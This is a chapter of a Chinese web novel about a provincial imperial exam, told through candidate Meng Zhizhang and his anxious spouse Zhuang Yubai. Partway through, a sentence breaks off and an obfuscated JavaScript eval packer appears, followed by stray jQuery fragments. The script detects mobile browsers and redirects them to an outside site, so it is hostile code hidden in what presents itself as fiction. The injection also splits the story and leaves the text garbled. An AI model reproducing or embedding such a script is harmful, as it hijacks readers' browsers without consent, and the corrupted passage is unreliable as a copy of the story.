默认冷灰
24号文字
方正启体

199. 秋闱(五)

作者:樵山牧野本书字数:K更新时间:
    那核验考官一听此言,顿时傻眼,半日说不出话。


    夜色很深,现场上百名士子黑压压挤在一处,大气不敢喘。因为“微须”的不止这老秀才一人,其他相貌册上也有“微须”二字之人,此时一颗心早提到嗓子眼,衣袖下的拳头恨不能攥出血。


    若老秀才不放行,也就意味着他们此刻也要打道回府。这三年的热桌子冷板凳,这三年的寒来暑往、夜以继日,就地一朝清零。


    火把和灯笼的橙黄亮光,打在众人脸上,肃穆、阴郁,甚至有些悲伤和凄凉。


    考官轻咳一声,火苗亮光跟着抖了抖。


    好在他人虽固执,只是认死理,人心不黑。自己站在那脸红脖子粗地怔愣片刻,也觉得眼前这高个子书生说得不无道理。刚才横眉冷对的眉毛,顺耷下来。


    他正正衣冠,看了眼那老秀才,一挥衣袖,双手背至身后。


    “还不进场,等什么!”


    老秀才整个人已经蔫成霜打的茄子,躲在孟知彰身后,忽听考官发话,如被一刃冷刀劈中,下意识打个哆嗦,根本没听清对方说的什么。


    孟知彰见老秀才直愣愣站在那里,有些晃神,忙将对方考篮从地上拎起,恭敬递到他手里,提醒道:“大人让兄台进场。快谢过大人。”


    “是是是……晚学谢过大人。”


    那老秀才如被阴兵押解去地府的鬼魂,一只脚跨进鬼门关,忽闻寿数未到,大赦回阳间。整个人大悲转大喜,匆匆忙行了个礼,奔命似地大踏步朝门内跑去了。


    行至数十步,又扑棱着袖子折回来,抓住孟知彰的胳膊,仰头,目光热切:“这位兄台,敢问尊姓大名?”


    孟知彰知其意:“兄台不必介怀。暨县孟知彰,祝兄台一举高中!”


    *


    一时孟知彰过了头门搜检,简单理好方才被检过的考篮,准备接受设在龙门前的第二道搜检。


    忽然一考生地被两名捕役闹哄哄押出来,衣襟不整,鞋子也掉了一只。


    “鞋子里有夹带,头巾夹层也有小抄……明晃晃作弊。蠢笨之人行蠢笨之事,谁也救不了他!”


    “嗐!何必呢!不仅害了自己,刚才头门那层负责搜检的捕役也要被问罪。真是害己又害人。”


    人群窃窃私语一阵,继续安静排队,等着手中考篮被搜检、蹂躏。


    有了刚才作弊书生做例子,接下来的搜检更严格起来。庄聿白给带的几枚定胜糕,方才头门搜检时还只是切成两块,到了这里,直接分成八块。毛笔逐支检查,连茶粉都用长针搅了两下。


    顺利过了两道搜检,孟知彰到龙门前领取卷票,地字第九号,便提考篮快速入内归号。


    号舍无门,以砖墙隔开,高一米八,深一米二,每人一间。孟知彰身量高大,显得这阁间越发小了。


    他按他家夫郎叮嘱,先取了鸡毛掸子和巾帕,将其内蜘蛛网、落叶、浮尘等清扫一遍。两块大板更是仔细擦过,毕竟这是这三日的桌案和卧榻。又将散香四处洒了洒,索性近日天干无雨,并无臭虫、霉腐之味。


    这才将笔墨等逐一取出,做考前检查。


    清晨还好,等日头上来,尤其正午时分,书案阳光渐亮渐毒,晒上半个时辰,直照得人目不能睁,心不能定。似孟知彰这般定力、耐力超群之人,都觉得有些心躁。


    孟知彰将那块天青色罗绢号帘,悬挂在号舍上方。罗绢轻薄,光线立马柔和下来,遮风防尘,也不至于过于密闭,影响号兵巡逻查视。


    考生入闱签到期间,提前几日入闱的内帘主考官们开始出题。拟好的题目,交由刻字工匠和印刷工等场务人员准备题纸。


    明早卯时之前,所有归号入闱考生,除了等,只有等。


    孟知彰在自己号舍中看着日头东升、正悬、西沉,直到天擦黑时,仍能听到场外鸣炮之声。说明场外点名仍在继续。


    他燃了风炉,问号兵取了水,煮了个简易涮锅。沸水中加入清热去燥的杭菊枸杞,配上菘菜、萝卜等各色菜干。另有一小罐调味酱料。


    锅中主食是他家夫郎亲手做的挂面。


    确切说是他家夫郎亲自指导,他孟知彰负责和面、揉面、将面团扯成细丝,晾晒在院中阳光下风干。白如霜雪、细细龙须的面条用细绳捆扎在一起,谓之“龙须面”。


    “吃了这龙须面,孟知彰就能顺顺利利鲤鱼跃龙门!”


    这是他家夫郎说的。


    明日题纸下来,便吃不了这汤汤水水的涮锅。为保持卷面整洁,他家夫郎给他准备的饭食,便以糕饼为主,搭配装在瓷罐中的酱菜和熏肉。还带了蜜饯金桔,搜检过程中被捕役切成了碎块,好在不影响食用。


    场外的孟知彰,美美吃了两碗助力跃龙门的龙须面。


    阳光透过天青色罗绢号帷打下来,倒给这紧张的考场蒙上一层安定的沉静。


    孟知彰在号舍闭目养神之际,他家夫郎正在薛家茶楼二楼雅间品茶。


    人,是与庄启辰对面而坐。眼睛,却一直盯着窗外。楼下是贡院前街,沿街向前,不远处便是贡院正门。日头过午,仍有不少士子排在外面点名入场。


    “琥珀,你觉得如何?”


    薛启辰将面前一小碟荷花酥往庄聿白面前推了推,又问了一遍。


    庄聿白这才收回视线:“……什么如何?”


    岁初,掖池400亩荒地垦成粮田。夏收大捷时,吴茂才提议可以在隔壁凉州继续开垦。庄聿白与薛启辰一拍而合,当即书信吴茂才,请他帮着薛家在凉州城的生意主理人九哥儿,一起探地、议价。


    这几日九哥儿也来了信,薛启辰知道庄聿白此时一颗心都在他相公乡试上,便没立时找来,直到孟知彰进了考场才将信拿与他看。


    凉州城外共开垦了300亩荒地,也是按照庄聿白给到的垦荒之法推进。因为凉州城整体的底子较掖池要好,前期时间和人力物力投入也缩减不少。垦出的田地,仍是全部种上垦田先锋之物,黄豆。信上说新田种出的黄豆甚好,目前已结荚,说不定这一季便能追上普通下等田地的产量。


    只是西境虽此前适合种植葡萄,眼下会种植的一时倒寻不着。九哥儿心中没底,问需要提前准备些什么。


    薛启辰看着懵懵的庄聿白,笑着摇摇头:“凉州客信上说地是开出来了,可一块适合种葡萄他拿不准。还有这葡萄园需要准备些什么,心中也没底。我想的是,等你家相公高中之后,离明年春闱还有一段时间。这中间我们去趟西境,如何?”


    凉州客,自然指九哥儿。


    “等孟知彰考完这几场,我和他商议一下。”庄聿白补了句,“问题应该不大。”


    庄聿白仍然有些心不在焉,时不时盯着贡院门口看几眼。天色渐渐暗下来,排队等在外面的士子越来越少。


    薛启辰的小厮元宝跑了来:“大公子问两位公子是在外面用饭,还是回家吃。家中客房也收拾出来,庄公子若不嫌弃,可以在家中将就几宿。”


    庄聿白低头想了下,答应留宿薛家。他不放心孟知彰这边,虽然也知道此时自己帮不上什么忙,但物理距离近些,心里总归安稳些。


    “那叨扰了。至于晚饭……”庄聿白看向薛启辰,他想在这多留一会儿。


    到底是好朋友,一抬翅膀就知道对方要往哪儿飞。


    薛启辰交代元宝,“你回家跟我兄嫂说一声,我和庄公子晚些回家,晚饭不用等我们,让上夜的婆子留一扇角门就行。”


    第二日一大早,庄聿白就来这茶楼上继续“陪考”了。


    孟知彰说过,今日卯时分发题纸,开始作答,明日,也就是八月十日午后便可以交卷离场。庄聿白想着孟知彰在场中奋笔疾书的模样,一颗心始终安定不下来,阁间内不停踱步。


    贡院门外重兵把守,闲杂人等不准靠近。见到惯常高声吆喝的商贩货郎等,更是远远驱离。影响乡试秩序者,会依法知罪。


    薛启辰打着哈欠来陪陪考之人时,已近午时。他让小厮将食盒和账本子一起送到这茶楼来。


    兄弟俩边用饭,便开始细盘这些时日葡萄园内的产出情况。现在接近葡萄采摘入罐的尾声,去年各庄园中陶罐用了10只,今年翻番还不止,足足装了30只,再装两只完全没问题。


    “然哥儿这几日带人翻搅陶罐……”


    庄聿白同薛启辰说着话,一双眼睛仍留意窗外贡院门口的动静。他话讲到一半,忽见贡院门开了,几名守护忙乱乱快跑迎过去。


    门内横着抬出一人来。


    似还有拎着药箱的郎中模样之人跟在旁边。


    庄聿白心中一沉,猛地站起来,半个身子探出窗外,眼睛死死盯着那抬出来的人。脸色变得惨白,一双抠在窗棂上的手,太过用力连指节也泛了白。


    不祥的预感,越来越强烈。庄聿白指尖发抖,转身就像楼下跑,与来报信的小葫芦撞个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215677|157868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    满怀。


    庄聿白一把将人抓住,声音从未有过的发颤:“贡院门口怎么了?怎么还抬出个人来?”


    “有人晕在号舍。”小葫芦扶住庄聿白,见人神色有异,忙宽慰,“说是平安州的士子,已通知他们跟来府城的亲眷。公子别慌。”


    “当真只是晕倒?当真是……平安州的?”


    科举求仕、入闱考试,某种程度上与坐牢无异,且环境逼仄,坐卧起立全在那三尺方寸间,还要全程神经紧绷答题,若加上天气忽冷忽热,身子弱些的根本吃不消,乡试三场下来,正常人都会瘦上一圈。身子弱些的,撑不完三场,甚至出了贡院大病一场的也不在少数。


    能直接抬出贡院,很大可能人已经不在了。当然,直接死在考棚号舍的,其实并不少见。


    众人拦不住,便陪庄聿白一起下楼去查看究竟。


    确定是平安州之人时,庄聿白竟大大松了口气,惨白的脸上,慢慢有了血色。


    不过逝者亲属的撕心裂肺的悲伤,扯得庄聿白的心,跟着疼。光耀门楣的期望,忽然变成天人永隔的憾事,凭谁也接受不了。


    庄聿白开始为刚才自己无意识产生的那一丝侥幸和庆幸念头,感到羞愧。但见对方不像富家出身,庄聿白请小葫芦帮忙跑一趟。


    “先去各庄找然哥儿取50两银子,悄悄送与这秀才亲属,就说是同窗送的,让他们好生办个葬礼。”


    小葫芦应着,刚要转身,又被拉住。


    “之后回趟齐物山,帮着安排下一场要替换的器具、食材、灯烛等。我明日午后接到孟知彰,直接回来。”


    不过孟知彰的东西,庄聿白还是不放心全然假手于人。贡院门口恢复平静,天黑之前,他还是赶回了齐物山。


    八月十日一早,天未明,庄聿白便驾车等在了贡院前街。


    未时开始,陆续有人从门内出来。庄聿白直接站在车上


    有人趾高气扬,一副踌躇满志之态。有人频频摇头,脸上阴雨绵绵;更有人衣衫乱糟糟,头发乱蓬蓬,出来后直接跪地嚎啕。


    十年寒窗苦读,谁不想博个好前程。话又说回来,好前程自然重要,命就不重要么。庄聿白想起昨日里面抬出来那考生,第一次萌生出一个念头:若是真把人孟知彰身子考坏了,这试不考也罢。


    正想着,不远处一个软面条似的考生被两个人架了出来。


    什么举人进士的,人没了,才是什么都没了。家里又不是揭不开锅,眼下生意正好,葡萄园如今也要种到西境了。他孟知彰哪怕什么都不做,每日在家吹风晒太阳,陪他说说话,也是好的。


    “哎呦——”人多,马车晃动一下,庄聿白险些摔倒,忙稳住重心,乖乖坐回车厢边。


    他下意识往人声嘈杂处望去。


    浩浩荡荡十几个小厮簇拥一辆马车,硬生生碾开人群往前挤。绣金描银的马车帷幕,在一众低调的青灰色车马中异常耀眼。异常霸道。


    庄聿白跟着骆家小厮的视线向前看。


    视线交汇点,是骆耀庭。


    骆耀庭鼻孔朝天,在那几个小厮护卫下,颐指气使走到马车旁,踩着跪在地上的小厮,脚不沾尘地上车走了。


    仿佛这次的乡试解元已被他预定,仿佛全世界都该是他骆耀庭踩在脚下的蝼蚁。


    怎么会有人,往哪一站,就这么欠扁呢?


    刚还想着孟知彰赋闲在家、坐在廊下陪自己晒晒太阳、说说话就可以的庄聿白,此时愤然起身,一把拽起孟知彰,去考功名,当个大官,杀杀这骆耀庭的威风。


    “多大的官,算大?”想象中的孟知彰问。


    “大过骆耀庭,就算大。”庄聿白握拳给孟知彰打气,“加油!”


    忽然庄聿白腰上一紧,脚下一空,被人拦腰抱起来,一阵眩晕后,稳稳放进车厢。


    “我家夫郎,为谁加油?”


    熟悉的臂膀,熟悉的力度,熟悉的声音。不用猜也知道谁是。


    庄聿白忙慌慌先对上身边人视线。目光有神,很好。接着又不容分说地上下检视,衣襟一丝不苟,腰间束带齐整,袖子里……一边翻一边问。


    “都还顺利吗?累不累?饿不饿?有没有哪里不舒服……饭都吃了吗?走!回家!家里备了水,你先泡了个澡,然后好好在床上睡一觉。”


    “放心。一切都好。”孟知彰驾车,将庄聿白轻轻放在自己身旁,“我们回家。洗澡。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)